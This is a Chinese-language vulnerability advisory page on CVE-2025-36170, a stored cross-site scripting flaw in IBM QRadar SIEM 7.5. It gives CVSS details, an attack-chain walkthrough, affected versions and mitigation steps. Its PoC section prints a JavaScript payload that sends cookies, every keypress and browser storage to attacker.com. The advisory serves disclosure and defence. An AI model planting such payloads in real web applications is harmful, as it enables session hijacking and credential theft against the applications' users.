IPBUF安全漏洞报告
English
CVE-2025-36170 CVSS 6.4 中危

CVE-2025-36170: IBM QRadar SIEM存储型跨站脚本漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-36170
漏洞类型
存储型XSS(Stored Cross-Site Scripting)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
IBM QRadar SIEM 7.5

相关标签

存储型XSSIBM QRadar SIEMCVE-2025-36170跨站脚本Web应用安全会话劫持凭证泄露

漏洞概述

CVE-2025-36170是IBM QRadar SIEM 7.5版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Web UI界面中,允许经过低权限认证的用户在应用程序中注入并存储恶意JavaScript代码。当其他用户访问包含恶意代码的页面时,攻击者注入的脚本会在受害者浏览器中执行,从而窃取会话令牌、劫持用户会话或进行其他恶意操作。由于QRadar常用于企业安全信息和事件管理,处理敏感的安全数据,因此此类XSS漏洞可能导致凭证泄露和信任会话被攻击者利用,对企业安全构成中等程度的威胁。

技术细节

存储型XSS漏洞发生在应用程序将用户输入未经适当过滤或转义直接存储并在后续页面中展示时。对于IBM QRadar SIEM 7.5,攻击者(即使是低权限用户)可以在Web UI的某个输入字段(如报告名称、资产标签、搜索查询等)中嵌入恶意JavaScript代码。该代码被存储在后端数据库中,当其他用户访问相关功能页面时,应用程序从数据库读取并展示这些内容时未进行适当的HTML编码或JavaScript过滤,导致恶意脚本在受害者浏览器上下文中执行。由于QRadar的Web界面涉及大量用户交互和数据展示功能,攻击者可以利用此漏洞窃取认证Cookie、会话令牌或诱骗用户输入敏感凭证。

攻击链分析

STEP 1
步骤1
攻击者以低权限用户身份登录IBM QRadar SIEM 7.5 Web管理界面
STEP 2
步骤2
攻击者识别存在输入验证不足的功能模块(如报告配置、资产属性、搜索功能等)
STEP 3
步骤3
攻击者在输入字段中注入恶意JavaScript代码<script>alert(document.cookie)</script>
STEP 4
步骤4
应用程序将恶意代码未经过滤直接存储在后端数据库中
STEP 5
步骤5
其他用户或管理员访问包含恶意代码的页面时,浏览器执行注入的JavaScript
STEP 6
步骤6
攻击者通过JavaScript窃取用户会话Cookie、令牌或诱导用户输入敏感凭证

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-36170 Stored XSS PoC --> <!-- Target: IBM QRadar SIEM 7.5 Web UI --> <!-- This PoC demonstrates the stored XSS vulnerability --> <script> // Malicious JavaScript payload for credential theft // This script will be stored and executed when other users view the affected page // Steal session cookies document.write('<img src="https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"/>'); // Alternative payload: Keylogger document.addEventListener('keypress', function(e) { var key = e.key; new Image().src = 'https://attacker.com/log?key=' + key; }); // Session hijacking via DOM access var sessionData = { cookies: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage, userAgent: navigator.userAgent }; fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(sessionData) }); </script>

影响范围

IBM QRadar SIEM 7.5 < 7.5.0 Update Pack 13 Independent Fix 02

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施缓解风险:1) 限制低权限用户对Web UI功能的访问权限;2) 启用Web应用防火墙(WAF)规则检测和阻止XSS payload;3) 监控QRadar日志中的异常JavaScript代码模式;4) 对管理员和用户进行安全意识培训,提醒不要点击可疑链接;5) 考虑禁用非必要的Web UI功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表